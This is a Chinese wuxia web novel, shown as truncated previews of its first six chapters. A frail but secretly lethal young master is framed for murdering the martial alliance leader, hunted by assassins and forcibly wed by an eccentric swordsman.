《被全江湖追杀之后》 1. 橫祸 《被全江湖追杀之后》全本免费阅读 早春二月,春雪未融,杏花苑的黛瓦上笼着一层轻薄的白,黑白交融,水墨画似的。 此刻,东边日头刚刚升起,远远望去,只见一片淡如轻纱的薄红。 药店的王掌柜坐在柜台后打瞌睡,头跟小鸡啄米一样直点,忽然,一阵风从大门灌了进来,他一个激灵冷醒了,抬头一看,一个十五六岁的小姑娘正掀帘而入。 小姑娘眉清目秀,唇红齿白,穿着大红的袄子,见到王掌柜,还没说话先展颜一笑,声音脆生生的,“王叔好!” 王掌柜也笑起来,脸上的褶皱也一抖一抖的,他站起身,热情招呼道:“小芸儿,又来了啊——依旧是鱼腥草,黄芩,蒲公英,虎杖,穿心莲,郁金和桑白皮么?” “嗯!”小芸儿用力点点头,王掌柜转身取了药,用黄纸包好叠好,伸手递给她的时候,随口问道:“你家公子的身体,还是没什么起色吗?” 小芸儿吐了吐舌头,“还是老样子啦,动不动就咳个不停,吐血吐的比吃饭还勤快,娘胎里带的病,治不好的。” 王掌柜叹了口气,喃喃唏嘘道:“……可怜见得,多好个年轻人,偏生害了这等折磨人的病。世事无常啊世事无常……” · 小芸儿揣着药包,还没走到院子门口,隔着十来步便听见墙里头传来一阵闷闷的咳嗽,好半天没停,感觉那人仿佛要把肺咳出来了。 小芸儿轻手轻脚推门进去,院子里有一棵很大的杏花树,枝头已经零零星星打了花骨朵儿,只等春风一吹,就能悠悠绽放。 杏花树下的石桌边的躺椅上,坐着一个人影,听见脚步声,抬眸看过来,由于刚刚那一阵猛咳,那双漂亮的桃花眼此刻微微发红,给人一种被蹂躏过的残花败柳之感。 这人肩披纯色千金狐白裘,腰系雪鸠连心佩,长发被一根玉簪子随意挑起,几缕散落在身前,五官更是挑不出一点毛病,原本是神仙般的人物,可偏偏一身病,脸色苍白如纸,给他平添了几分鬼气。 叫人想起话本里讨债的女鬼。 颜容放下手帕,雪白的布料上沾着血丝,他声音有气无力,“丫头,你可算回来了,下次药材记得提前买,不要等没有了才想起来。” 小芸儿有点心虚,“知道啦。公子,大冷天的为什么不去屋里待着?” “太闷了,不舒服。”颜容微微摇摇头,仿佛好一点了,将帕子搭在一边的石桌上,又躺了回去。 小芸儿将药放在炉上煎着,回头去看她家公子,那人身子微微歪着,双手收蜷缩在雪白的狐裘袖子里,柔软的乌发散落在肩头,随着呼吸轻微起伏,他似乎是睡着了。 小芸儿默默转回头,背对着颜容,在没有人看得到的角度,嘴角微微勾起,露出一个阴冷的笑容,她从袖中取出一把匕首,转过身,一点点靠近那睡梦中的美人公子。 一步,两步,她走到了躺椅旁边,手中匕首快如闪电,直直刺向那人的喉咙,下一秒,手腕却被人捏住了,“小芸儿”一愣,却见那弱不禁风的公子不知何时已然睁开了双眼,黑白分明的眸子中一片清明,还夹杂着三分戏谑。 “你——” 咔嚓。 一声脆响,“小芸儿”发出一声短促的惨叫,匕首瞬间脱落,她捂着自己的手腕抽身后退,那手腕软绵绵的,骨头已经断了。 “少女”先惊后怒,她恶狠狠地看着颜容,语气恼羞成怒,“颜老板,你果然不是普通人。” 颜容缓缓坐起身,偏头捂着嘴又咳了两声,神色间一片倦怠,他扭过头,细细打量着“小芸儿”的脸,末了叹息一声。 “西枫林,红衣雪,一人勾唇千面笑。你是洪尘笑的徒弟么?”颜容看着对面的少女,惋惜地摇摇头,“只有脸看不出真假,可是易容术在骨不在皮,千面狐的本事,你只学到了三分。” “少女”瞳孔一缩,颜容勾唇浅笑,看上去还是那么纯良无害,他轻声问:“真正的小芸儿呢?你已经杀了吗?” “少女”柳眉倒竖,嗓音紧绷,“废话。” 这时候,他已经露出了他原本粗哑低沉的嗓音,“今儿个老子算是倒霉了,放你一马,颜公子,今后你晚上睡觉最好两只眼睛轮流放哨。否则别怪我师父手下不留情。” “呵。”颜容又噗嗤一声笑了,他温温柔柔地说,“这位阁下,你觉得你还能走出这个院子吗?” “少女”微微一愣,他还没来得及反应,原本坐在躺椅上的人忽然出现在他面前,那张堪称倾国倾城的脸倏然放大几倍出现在他面前,雪白修长的五指握住了他的脖颈。 “小芸儿是个好孩子,不吵不闹,从来不会忘了给我拿药,不然我也不会从人牙子手上买下她。” “少女”双腿凌空,不停地挣扎着,那双看似柔弱的手如同铁钳一般牢牢控制着他。 颜容微微一笑,可那双漂亮的眸子里却半分笑意也无,他自顾自地继续说着,“……毕竟我身子弱,很需要一个靠谱的人照顾我。我换了几个丫鬟,从来没有像小芸儿这般心细的。” “你说,你把她杀了,我该怎么办呢?” ……又是“咔嚓”一声,“少女”的颈骨就像之前断掉的手骨一样,非常轻易地就被捏碎了,颜容放开手,任由那具躯体破布袋一样萎倒在地。 颜容慢慢俯下身,从“少女”怀里抽出一张泛黄的麻纸,展开一看,纸上画着的赫然是他自己的脸,下面还有一行小字。 【此人奸诈凶残,以卑劣手段戕害了本盟盟主,十分可恶,现已潜逃。江湖上众位英雄好汉能取此贼首级者,除白银千两外,另送听剑阁名剑谱上排行第四的古剑赤血吟一柄。 ——武林盟】 “……” 颜容歪着头,表情古怪地看了许久,又回忆了许久,实在没想起来自己什么时候杀过林卷海,实际上他对这个人印象都不甚深刻,只依稀记得是江湖里少有的真正的正人君子,与自己这种魔头八字犯冲。 一阵寒风吹过,几粒雪珠落在颜容脸上,他拢了拢袖子,感觉嗓子又开始发痒。 把那张纸随手一扔,正好盖在地上尸体的脸上,颜容转身进 2. 盲剑 《被全江湖追杀之后》全本免费阅读 薛凉月在颠簸中醒来,模模糊糊中听见有风声,鸟叫声,虫鸣声,以及近在咫尺的呼吸声,乱糟糟的糅成一片嗡嗡嗡的耳鸣,他轻轻蹙起眉头。 缓了片刻,才睁开眼,透过四四方方一扇小窗,正好能看见一轮圆月莹莹地挂在西山之上,皎洁得有些阴森,一条长长的东西横在圆月之前。 薛凉月胸口疼,眼前也有点发黑,他眯着眼看了好久,才看清楚那是一把剑。 一把细而薄,约两指宽,刃口锋利的剑。剑身上有红色的细花纹,延伸到剑尖,像是血渗进去了,一看就是把削铁如泥的宝剑。 这不由得引他多看了两眼,于是他又看清了持剑人的手,手指修长,拿着一条细绢,慢条斯理地从剑柄处向下,一下一下擦拭着。 “醒了?” 一道懒洋洋的声音从上头传来。 薛凉月眼珠子转了转,循声望去。 说话的人就着半明不暗的月光,薛凉月看清了说话人的下半张脸,是个斯文俊秀的年轻人,看起来赏心悦目,但在人群中也不算特别出挑的那种好看。 ……目光继续往上移动,薛凉月却微微一愣,他看见这人的眼睛上蒙着两层黑色布条——是个瞎子? 似乎是感受到薛凉月的注视,那人开口了,嗓音介于成年人的低沉和少年的清亮之间,颇为动听,语气依旧是懒洋洋的, “感觉如何?” 薛凉月隔了好一会儿,才有气无力道:“不如何。劳驾,能扶我起来吗?” 瞎子歪了歪头,问:“怎么?我的大腿不舒服吗?” 薛凉月这才发现自己一直躺在他腿上,顿时感觉胸口更疼了,他闷咳两声,轻言细语委婉道:“这个姿势,喘不过气。” 瞎子闻言,只好放下手中的剑,伸手拉着他的胳膊把他扶了起来,说是扶,实际上比拽起来没轻多少,薛凉月觉得自己的袖子好悬没给拽断。 他坐起来后,感觉也没好多少,仍然是头晕眼花,他忍着太阳穴一阵一阵的抽痛,慢慢回忆起了晕倒前的事——小芸儿,千面狐,悬赏,杀手……记忆在他被外边的打斗声吵醒,不耐烦地推开门的那一刹那戛然而止。 谁把他打晕的? 这世上,能悄无声息地打晕他的人,薛凉月数来数去,绝对不超过一只手,而这其中并没有一个患有眼疾的剑客。 薛凉月轻咳两声,“请问,这是怎么回事?我……在下依稀记得自己应该在房里睡得好好的,怎么突然……” 瞎子奇道:“你不知道?” 薛凉月反问:“依阁下看,我该知道什么?” 瞎子从怀里掏出一张纸,展开,怼到薛凉月面前,正是他此前曾看到的悬赏,瞎子晃了晃那张纸:“你瞧瞧,这是谁?” 薛凉月垂下睫毛,假装认真的看了,片刻后,他语气里带着不确定,回答道:“虽然画的有点失真,但似乎……正是在下?” 瞎子点了点头,满意道:“没有似乎,这就是你。” 薛凉月眨了眨眼,眼神中带着疑惑,从狐裘里伸出一根细白修长的手指,指了指下面的一行小字,“那下面的话是什么意思?悬赏?” 瞎子挑眉笑:“没错,意思就是,现在有很多人想要你的命,瞧瞧,你的人头值一柄赤血剑呢。” “可我是冤枉的。”薛凉月偏头咳了两声,忧伤道,“我并非江湖人士,也根本不认识那什么武林盟主。” 瞎子深以为然:“的确,像颜公子这样的美人,杀人什么的未免脏了手,不值当。” 薛凉月:“多谢……夸奖。” 瞎子看着他,悠悠长叹道:“我知你是冤枉,然而似乎并没有人在意你是不是冤枉呢。两天前你被人打晕,我恰巧路过,顺手救了你,来云州道的时候不小心露了踪迹,这十二个时辰内,已经来了三四回追兵了,我一把年纪忙得一身汗,颜公子,这份沉甸甸的恩情你该如何偿还?” 薛凉月看着他,试探着问道:“阁下开个价?” 瞎子一皱眉:“噫!不要提那些身外之物,富贵与我如浮云,我可讨厌别人跟我提银子了。” 薛凉月微微汗颜,顿时有了种不好的预感,“所以?” 瞎子咧嘴一笑,露出白惨惨的一排牙齿,月色下笑出了几分阴森,“江湖话本中有一种说法,叫救命之恩,当以身相许。是吧?正好在下好南风,颜公子,你给我当老婆吧。” 薛凉月一呆,顿时咳嗽也不咳了,柔弱也不装了,腰板下意识挺直,他正色道:“话本里都是编的,恩人,我是宁死不会委身男人的。” 瞎子冷笑:“你不愿意也不成,你现在人在我手上,想死没那么容易。” 薛凉月还想说什么,瞎子忽然神色一凛,伸出食指抵在唇边“嘘”了一声。 “沙沙……沙……” 这声音很小,似风吹树叶,却又带着古怪的韵律,在交谈时并没有什么存在感,一安静下来,对于耳力过人的两人,却蕴含着不同的含义。 瞎子放下手,坐直,淡淡道:“只是今天的风有点大罢了,绝不会是二十四个人在道旁的林木间施展轻功追逐马车。” 薛凉月:“……” 瞎子偏了偏头,“哦,不对,还有六个人,离得比较远,刚刚听错了,见笑。” 薛凉月:“……所以呢?” 瞎子忽然勾起唇角,将脸凑近了薛凉月,如果他有眼睛,此时一定目光炯炯地盯着他,看起来格外深情。 “放心,你是我看上的人,我不会叫你受半点伤的。” 车窗外,明月又升高了两寸,徘徊于斗牛之间,月光随着马车的晃动在剑客的衣袖上跳动,明晦不定。 下一秒,瞎子握住薛凉月肩头,带着他纵跃而起,马车顶被内力震开,倏然四分五裂。 与此同时,数柄长剑从马车四壁刺入,寒光四射,两人身在半空,堪堪避过长剑。只见下方的马车壁瞬间倒塌,数名黑衣人撞入车内,几柄剑撞在一处,金石之声铿然作响。 瞎子在飞扬的木板上轻轻一点,转身跃向前方,手中细剑倒映着冷冷月光,如雪一般。 下一瞬,瞎子带着薛凉月重重落在马背上,他反手一剑斩断车辕,马车顿时失去平衡,呲拉片刻后侧翻在地。 “坐稳了——驾!” 瞎子坐在薛凉月身后,一手提着剑,一手绕过他拉住缰绳,双腿一夹马腹,骏马长嘶一声,拔蹄狂奔。 薛凉月在颠簸中回过头,只见那群灰衣人正灰头土脸地从马车的残骸中钻出来,眨眼间便被甩的看不见了。 惨白的月色下,道上一片荒凉,风声从耳畔刮过,像如同婴儿的哭嚎。骏马在山道上狂奔了大约半刻钟,速度渐渐慢了下来。 瞎子向前俯身,将下巴搁在薛凉月肩头,轻声道:“不用怕,这种程度的刺杀,在你昏迷 3. 成亲 《被全江湖追杀之后》全本免费阅读 未来娘子是万不能死的,瞎子伸出手,以辣手摧花的力气悍然一掰,骨骼咔咔两声,薛凉月只觉一阵钻心的疼痛从肩膀传来,他再也忍不了了,两眼一翻,就此“晕”了过去。 瞎子:“……” “喂,还活着吗?”瞎子蹲下来,戳了戳薛凉月的脸。 一动不动。 但有呼吸,没嗝屁。 瞎子思考片刻,觉得这个亲还是可以成的,于是把人打横抱了起来,翻身上马,一声“吁”,扬鞭向东方。 此时,明月已然升至中天,夜深人静,两人一马在山道上疾驰,过了约摸有一钟头,才出了山岭,踏上官道。 薛凉月打了个哈欠,只觉困倦非常,浑身的骨头都像散了架似的,他又忍了半柱香,终于歪头靠在瞎子肩膀上,睡着了。 不知道过了多久,等薛凉月迷迷糊糊地睁开眼时,天边已然露出了鱼肚白,一座小城的轮廓出现在晨曦里,他在困倦中勉强抬起头,看见城墙上,似乎是写了……“南山”两字。 骏马疾驰而过,那字晃了一晃,便看不见了。 瞎子策马穿过街巷,还是清早,路上并没有几个人,最终他停在一个小院门口。 这院子一看就很破,门倒是挺大,可是漆都掉光了,斑斑驳驳,门上有一个碗大的铜锁,生满了绿色的锈,显然很久没用了,只是个摆设。 瞎子翻身下马,冲马背上弱不禁风的颜公子伸出手,薛凉月搭着他的手慢吞吞地爬了下来,理了理衣袖,跟在他身后进了院子。 瞎子吱呀一声推开门。 院子里有人。 一个十五六岁的绿衣少女正在清扫落叶。 她眉目清秀,动作斯文,有一种奇特的韵律感,以至于刚刚在门外,以薛凉月的耳力,都未能把扫地声跟风声区分开,真是奇哉怪哉。 听见门响,她抬起头,看见了瞎子,以及瞎子背后的美貌公子,愣了一下,又很快回神,显然是见过大世面的,她把扫帚放到墙边,规规矩矩行了个礼,“见过师父。” 瞎子点点头,扯过薛凉月的袖子,介绍道:“这是你师娘。” 少女依旧很淡定,泰然行礼:“见过师娘。” 薛凉月想反驳一句“他开玩笑的”,结果突然喉头一痒,腥甜之气从肺里涌了上来,忍不住一阵猛咳,等他缓过来时,已经被瞎子拉着,踉踉跄跄走过了天井,进了里屋。 甫一踏进屋子,薛凉月就皱起了眉头,嫌弃之情溢于言表。 这院子破,屋子就更破,窗户只剩半截,桌子缺了一条脚,拿砖头给垫着,床褥上也满是补丁。薛凉月抬起头,便看见一只足长身小的蜘蛛,晃晃悠悠地趴在天花板角落的蛛网上,不知是死是活。 空气中弥漫着一股黄梅雨时节才会有的霉味。 颜公子一身锦绣丛中泡出来的娇贵骨,一见此景,顿时感觉一呼一吸间,都充满了灰尘,让他本就不健康的肺雪上加霜,又是一阵闷咳。 瞎子站了一会儿,鼻子动了动,似乎也觉得这环境太差,委实拿不出手,于是走到门口,又把那碧衣少女叫了起来。 他清了清嗓子,吩咐道:“去雇几个人来把这儿修整一下,顺便再买些酒菜……还有什么被子碗筷之类的零碎东西,也买齐了,我和你师娘今晚成亲。” “是,师父。” 少女应道,然后伸出手,面无表情,“钱。” 瞎子很诧异,“上次不是给了你几两银子?这么快就花完了?” 少女:“咱师徒路上食宿要钱,花的早没剩多少了。置办这些东西不是小数目,肯定不够。” 瞎子“看”着少女,面带狐疑,少女也看着瞎子,目光坦荡荡,末了又补充一句, “而且咱们那马车是租的,师父,要赔钱的。” 瞎子:“……” 薛凉月忍不住“噗嗤”一声,笑了出来。 不料瞎子忽然转头面向他,他说,“媳妇,我没钱了。” 薛凉月:“?” 关我屁事。 下一秒,他腰间一轻,那和田玉的雪鸠连心佩便出现在了瞎子手中,瞎子朝他深情一笑,“娘子,借你玉佩一用,以后有机会再给你买一块。” “……” 薛凉月双眼微微睁大,瞪着瞎子,似乎是难以置信这个人的厚颜无耻,瞎子轻描淡写地将玉佩一丢,那边少女伸手接住,显然已是习以为常,因此波澜不惊,拿着玉佩就出门了。 “大侠,你就是这么为人师表的?”薛凉月幽怨地盯着瞎子。 瞎子关了门,冲他笑笑,然后伸手将自己蒙眼的布条扯了下来。 薛凉月不由得一愣,那是一双出奇漂亮的眼睛,狭长锋利,眼尾略上挑,瞳色浓黑,生的几分邪气。 “我莫远行事一向如此,什么为不为人师表的?” 那人抬眸笑吟吟看过来,眸中一片清亮,这分明是双完好的眼睛。 薛凉月匪夷所思:有病么? 他上一次看见装瞎的人,还是在谯城东边大桥下的算命摊子上。 莫远指了指一旁的床,“坐。你站着不累吗?” 薛凉月看了一眼那千疮百孔的凉席,深切怀疑下面有无数蟑螂在安家,他努力维持着微笑,婉拒:“……不累。” 莫远笑笑,自个儿坐上去,抬头问:“你知道我为什么要娶你吗?” 薛凉月没来得及搭话,便听见他掷地有声,“因为我爹娶了全江湖最美的女子,而我各方面都比我爹高明一点点,所以我理应娶全天下最美的人。” “娘子,你不要想着逃跑。”莫远笑着看向他,表情阴森森的,他轻声道:“在这件事上我可执着了,已经等了十多年,再等就老了。” · 晚上,暮色四合之时,小院中挂满了红灯笼,喜气洋洋。 “一拜天地——” 薛凉月被摁着后脑勺,双手被麻绳捆在身后,不由自主随着那少女没什么起伏的声音向前拜倒,额头重重地磕在地板上,发出沉闷的声响。 摁着他后脑勺的人装模作样地关切道:“怎么样,疼么?” 薛凉月咬牙切齿,并不答话。 几个帮工的男人,分成两桌,坐在一边,神色甚是尴尬,然而并不敢说三道四。 下午有个汉子说了句不中听的,当时就被一脚从屋门口踹出了院子,痛的哇哇大叫,偏生没伤着骨头,药钱都讨不到,自己一瘸一拐的跑了。 说话要挨打,不说话,至少有免费的酒肉吃,傻子都知道该怎么选,于是,虽然两个男人成亲——其中有一个还明显是被胁迫的——很不合体统,也没有人提出异议。 “二拜高堂——” 薛凉月被提溜着后领勉强站起来,转过身,面对着不知道什么,再次跪倒。 “砰——” 薛凉月的头再次嗑到地上。他忍无可忍,低声对身边的男人道:“我自己来。” 莫远轻声笑道:“娘子啊,这是咱们大喜的日子,我怕你浑身无力,出了岔子。快结束了,忍忍罢。” 大喜个屁,你看这里有一个人像喜的样子吗? 少女面不改色:“夫妻对拜——” 幽暗的屋子中,花烛摇曳,光影 4. 逃走 《被全江湖追杀之后》全本免费阅读 薛凉月的梦是一片混沌,如天地未开,万物隐匿与虚无中,他试图让自己的意识变成一尾游鱼,在粘稠的混沌中慢慢潜入更深处,慢慢的,在意识的最底层,他看见了一豆萤火般的光。 那是一盏灯。 随着薛凉月意识的慢慢靠近,那盏灯的轮廓越来越清晰,他清楚地看见灯罩上,绘有长蛇状生物,狰狞又可怖。 惨白的光下映出一张苍白的少年面庞,大约十二三岁,五官精致如画,眼尾微垂显得温柔而含蓄,他身上穿着暗红色的窄袖长袍,胸口上一弧弯月锋利如刀,颜色是与灯光一样的惨白。 “喝下去。” 黑暗中有低沉的声音响起,带着不容拒绝的威严。 光线更亮了些,少年身边隐隐约约出现了一张桌子的轮廓,他顺从地端起桌上的一个碗,凑到唇边,碗中是黑色的液体,不知是因为本身就是黑色,还是因为环境的昏暗。 周围鬼影绰绰,私语声窸窸窣窣,如虫豸爬行,让人听了脊背发凉。 “这就是药人?” “没错,这一只,炼制已经进行到第三个周天了,小心点,这玩意浑身是毒,碰一下掉一层皮!” “老天啊,这样还活着呢……不如死了快活。” “……” 不如死了快活…… 不如,死了快活…… …… 薛凉月悠悠醒转,映入眼帘的首先是红色蚊帐,纱帘放下,随风轻轻晃动,红纱背后,是哪怕被装饰过还是很破旧的木屋,酒香依旧在空气中飘荡,屋外,不知名的鸟儿婉转啼鸣,清脆入耳。 薛凉月抬手遮住脸,感觉浑身一抽一抽地疼痛,昨夜的记忆逐渐回笼,心中后悔不迭。 他大意了。 江湖里哪有什么好人,他在江南的杏花雨里把骨头泡懒了,果然师无夜说的对,人在江湖飘,万不可目中无人,第一次被莫远打晕就算了,后面明明有无数次机会杀了他或是逃走,自己偏懒得动。 现在好了,内功被废了,别说杀这个至少在剑心境的莫远,就是应付追兵都有些吃力。 “咳咳咳……” 薛凉月偏头咳出一口血,扶着床头慢慢坐起来,挑开纱帐,越过大开的房门,看见院中一个人,正是昨天那个少女,仍是在扫地。 “你师父呢?”薛凉月走到屋檐下,朝那边问道。 少女闻言抬眼看过来,仍旧是面无表情,答:“不知道。师娘,你饿了吗?” 薛凉月倚在门边,矜持地点点头,少女放下扫帚,进了东屋,片刻后,端着一碗清粥并两样小菜,走了出来,放在那三条腿的木桌上。 薛凉月又蹙起了眉,“我说,你们师徒二人抢了我的玉佩,少说换了几百两银子,就给我吃这些……吗?” “师父叫我同你说,”少女道,“爱吃不吃,又饿不死人。” 薛凉月闻言,伸手指了指她,眯着眼温言细语地骂道:“你们两个土匪。” 少女深以为然:“师父平日里干的勾当,的确跟土匪没什么两样。” 上梁不正下梁歪,人家都不要脸到这个地步了,薛凉月实在无言以对,只好走到桌边,万分嫌弃地拿起了筷子,令人吃惊的是,这些粥点味道居然不错,薛凉月饿了两天,不知不觉居然已经吃完了。 他习惯性地伸手到怀里拿手帕,却扑了个空,只好一点也不体面地拿袖子擦了嘴,随口问站在三尺之外的少女:“这粥是谁做的?” “师父。” 这个回答让薛凉月很是吃了一惊,他诧异地挑眉道:“他还会做饭呢?!” “自然。”少女答,“师父什么都会做。不过这粥是他昨天回来后煮的,那时你被关在屋子里,我俩没吃完,今早热热还能吃。” 薛凉月:“……” 他顿时感觉胃里一阵翻墙倒海,恶心感从胃部涌上喉头,差点把刚刚吃下去的东西又吐出来。 “你为什么不早说……我饿死不吃剩饭。”薛凉月霍然站起身,却突然捂着嘴猛烈咳嗽起来,他虚弱地朝少女招招手,“去拿纸笔来。” 少女不动:“干什么?” 薛凉月放下手,强忍着突如其来的发作,有气没力道:“我要吃药,不然就要死了。我把方子写下来,叫你,或你师父去城中药店抓些药,行吗?” 说罢,他捂住嘴又开始咳嗽,眼角微微泛红,额头被冷汗打湿,碎发紧贴在鬓角,脸色惨白,整个人看起来像一件易碎的瓷器,似乎一碰就会破裂。 “师父还有一阵子回来。”少女岿然不动,答,“我还得在这看着你,寸步不能离,不然师父要生气的。” 薛凉月轻声道:“你不去买,你师娘会生气的。” 少女:“生气了如何?” 薛凉月抬眼,他咬牙笑了笑,眸底却半分笑意也无,莫名透出一股森然,他嗓音柔和,“生气了便杀了你。” 他屈指在碗沿轻轻一弹,少女瞳孔猛然收缩,本能地向后退了一步。 然而,那只碗只是在桌面上微微晃动了两圈。她瞬间愣住了,随后立刻想起,昨晚这人的内功刚被废去,然而她抬头望去,却正对上薛凉月那似笑非笑的眼眸。 下一刻,只听砰的一声,那只碗便四分五裂开来,锋利的碎片同时向少女周身大穴和要害飞去,千钧一发之际,少女伸手扯过一旁扫帚,将碎片全挡了回去,颇似葫芦惊雷堂使雷震挡的手法。 薛凉月唇畔微扬,轻轻一笑,将藏在手中的最后一片碎瓷片弹出,快如疾风,精准地打中了少女腿上的环跳穴。 他慢悠悠地站起来,低头咳了两声,把红艳艳的外袍整个儿脱了下来,往地上一扔,只着一件雪白单薄的中衣,视若无睹地从一动不能动的少女身旁经过。 跨出门槛时,脚步略微一顿,薛凉月偏头笑道:“你们师徒过家家去吧,在下身子弱,玩不起,恕不奉陪了。” 少女眼睁睁地看着那道瘦削的身影不紧不慢 5. 春心 《被全江湖追杀之后》全本免费阅读 ……桌上的酒壶被小二的头砸了个趔趄,晃了两圈,终于无可奈何地从桌沿滚了下去,砸得粉碎。 店中一片死寂,屋外黑云压的更低了,那无头尸体晃了晃,轰然倒在地上,血淌出去老远。 寂静中,不知是谁大叫了一声,“杀人了!”。这声音尖刀一般划破了岌岌可危的平静,一瞬间,众人纷纷尖叫起来,起身拔腿向门外跑去,身后酒壶酒碗撒落一地,乒乒乓乓,碎得清脆响亮。 一声女子的轻笑悠悠传来。 跑在最前面的人身形忽然僵住,紧接着,半边身子炸开血花,身子错位朝前倒去,竟是整个人被切做了两半,后面的人也未能幸免。 有的被砍作两截,有的如那小二一般,被割了脑袋,最可怖的是,有人脑袋被切成两半,脑浆都流了出来。 “叮——铃铃铃玲玲——” 有细微的铃铛声传来,清脆又诡异。 薛凉月坐在那里没有动,漠然与桌上那颗血淋淋的人头对视,身子并未移动分毫,手上依旧端着那只酒碗,只是眉毛略微挑了一挑。 有条细得难以用肉眼看见的银丝横在他脖子边,他要是轻举妄动,恐怕就得跟桌上哪位小二兄一样人头落地,血溅三尺了。 一双玉足落在薛凉月面前的桌子上,白皙的脚裸上套着金环。 薛凉月慢慢地放下酒碗,缓缓抬起头,饶是他如此小心,仍不免被割破了一点皮肤,鲜血顺着雪白的脖颈流下,端的是触目惊心。 站在桌子上的是一个妙龄女子,面容姣好,眉目轮廓略深,很有些西域女子的风味,身上披金戴玉,一动就叮当乱响。 “银丝金铃”杜鹃,传闻是龟兹国没落王族与中原人通婚的后裔,听剑阁杀手榜上排行第四。 武器名“春雨”,比发丝还细,却又削铁如泥,杀个把人那是如砍瓜切菜一般,传闻她还有个怪癖,喜欢把被她杀死的目标头颅浸泡在特殊药液中收藏。 不过很多人都不知道,她还有一个身份,那就是天下第一杀手组织归雪楼的挂名长老——春心。 “疾风摧枯草,暮雪洗霜刀……”薛凉月低声喃喃。 杜鹃并没有听见,她俯下身,细葱一般的手指挑起薛凉月的下巴,眼神里有几分藏不住的惊艳,“传闻诚不我欺,江南杏花苑的颜公子果真是世上一等一的绝色……这颗头得好好做,可不能平白暴殄了天物。” “春心长老。”薛凉月轻咳两声,“作为一个过来人,在下想告诫你一句,终日打雁,总会叫雁啄了眼,我还活着呢,能不能尊重一点?” 杜鹃歪了歪头:“你想叫我如何尊重你?” 薛凉月诚恳道:“譬如,杀我之前不必特地告知,这样很瞧不起人。” 杜鹃直起身,捂着嘴笑了,“好了,颜公子,那我不告诉你了,刚才的话,你就当没听见,行不行?” “不行。”薛凉月道,他指了指杜鹃身后,柔声道,“看后面。” “咻——” 利剑破空的声音快而急促,接着是“铮”的一声如琴弦崩裂,一把细剑不知从何处来,竟然割断了春雨,然后整个儿钉进了后面的墙壁里! 一把细而薄,约两指宽,刃口锋利的剑。 剑身红痕如血迹,蛇行蜿蜒。 “来得真快……”薛凉月轻叹。 杜鹃怔然,下意识回头,薛凉月拨开松弛下来的春雨,抬眸也看向窗外,这扇窗对着密林。 黑沉沉的夜色中,一条人影从婆娑树影后施施然走出。 杜鹃眯眼:“截胡的?” 薛凉月噗嗤一声笑了,他微微摇摇头,眼角带笑,笑吟吟看着窗外的人,“非也,这是来救我的,对不对……相公?” 莫远翻窗而入,视杜鹃于无物,径直走到薛凉月面前,手指搭在他被割开的颈侧,沾上了点血。他冷冷道:“外面这么多人追杀你,还到处乱跑。不要命了?” “我错了。”薛凉月眨巴了一下眼睛,笑着指了指一旁的杜鹃,“她要杀我,你去杀了她好不好?” 莫远盯着薛凉月的眼睛,没有片刻犹豫,“好。” 这才转过头去,瞥了一眼杜鹃。 杜鹃脸上笑意全无,她忽然一指墙上的细剑,问:“你的?” 莫远转身走向那把剑,漫不经心应道:“当然是我的。” 杜鹃看着他的背影,忽然道:“你是莫六。” 莫远脚步微微一顿。 “我没见过你,但我见过小莫愁。”杜鹃凄然一笑,“十五年前听别人说你那把剑时,我就知道你是他的儿子,你……” “你废话真多。” 莫远走到剑旁边,把剑从墙壁里抽出来,回头看着她,语调平静如水,“一把赤血剑就想买我夫人的命,武林盟穷疯了?” 这话题转得过于生硬,别说薛凉月,就是来一个普通人也听得出来有猫腻,他手指在桌面上轻敲两下,思绪慢慢沉入血衣门内阁的那些秘闻录中。 小莫愁,不是邀雪湖畔的那个莫愁女,两人年纪差了十来岁,小莫愁是莫愁的师妹,准确来说,是莫愁女为救她而死之后,才成为她师妹的。 其中渊源已不可究,毕竟小莫愁金盆洗手,退隐江湖已有近四十年了。 至于莫六,这个名字…… 十五年前,一个叫“莫六”的青年剑客横空出世,连败三大高手,最终朝屠月宗宗主齐衡轩下了战书,两人在西蜀秃笔翁大战三个时辰,最终齐衡轩险胜,莫六则掉下悬崖,不知所踪。 小莫愁,莫六…… 然而……薛凉月微微蹙起眉,虽然梅花剑他并没见过,但依稀记得,那应当是两把剑,一把“梅花”,一把“梅影”,一把在明,一把在暗。 杜鹃抿了抿唇,她扯过一部分春雨,转身跳上窗框,“后会无期。”谁知她还没来得及跳出去,一把剑便刺向了她的后背,杜鹃狼狈地躲开,扭头愤怒道:“莫六,你什么意思?!” “我娘子叫我杀了你,在下耙耳朵,冒犯了。”莫远微微一笑,半空中,剑锋瞬间虚虚实实笼罩了杜鹃身上六 6. 水遁 《被全江湖追杀之后》全本免费阅读 “嘭——” 女人的身体犹如破碎的人偶,重重撞在地上,砸塌了两张桌子,她颤抖着身躯试图爬起来,一行鲜血却从嘴角流下。 满身剑伤,甚至断了一只手,杜鹃狼狈的抬起头,看向对面那个男人。 莫远闲庭信步般向她走来,蹲下身,用长剑挑起她的下巴,笑道:“怎么着?还有什么后招吗?春心大人?” 杜鹃咳了几声,咬牙道:“我既然是干这行的,就早已经做好了不得好死的准备……没什么……好害怕的,但莫六,我提醒你一句,楼上有血衣门的人,你……你……” 莫远笑道:“所以呢?” 杜鹃:“你难道就不管你那小美人死活了?!” 莫远仿佛听到了什么极其好笑的事,大笑起来,半天都停不下来。 杜鹃望着他,幡然醒悟,她双眼失了神,嘴里喃喃道:“我知道了,你杀我根本不是因为颜容,而是因为小莫……” 莫远干脆利落地一剑贯穿了她的喉咙。 春心莫共花争发,一寸相思一寸灰。 …… 收回梅花剑,轻轻一甩,将剑上的血珠甩干净,莫远回头看向一个缩在角落瑟瑟发抖的伙计——这场无妄之灾中唯一的幸存者。 那伙计见他望过来,顿时抖如筛糠,惊惧地想要说些什么,嗓子眼里头“咯咯”几声,却说不出话来,涕泪纵横着从脸上滚下来。 莫远沉默着看了他一会儿,他慢慢踱到这伙计面前,长剑在地上拖动,发出令人牙酸的呲啦声。 伙计双手抱住头,近乎绝望地往角落又缩了缩,等了好久,却并没有感受到想象中的透心凉,一个东西扔到了他身上,滚落在地,清脆有声。 伙计定睛一看,却是一绽银子,莫远居高临下看着他,目光平静,无喜无悲,“拿着这点钱走的远远的,记住,不该说的一个字也不要提。明白了吗?” “是是!” 伙计如蒙大赦,飞快地捡起那绽银子,逃也似的连滚带爬出了大门。 天已黑透,风从敞开的门窗中滚入大堂,显然是要下雨了。 莫远从柜台中翻出一只蜡烛,置于烛台上,用火折子点燃,烛火摇曳,照亮方寸之地,而烛火之外依旧笼罩在阴影之中。 他秉烛朝二楼走去。 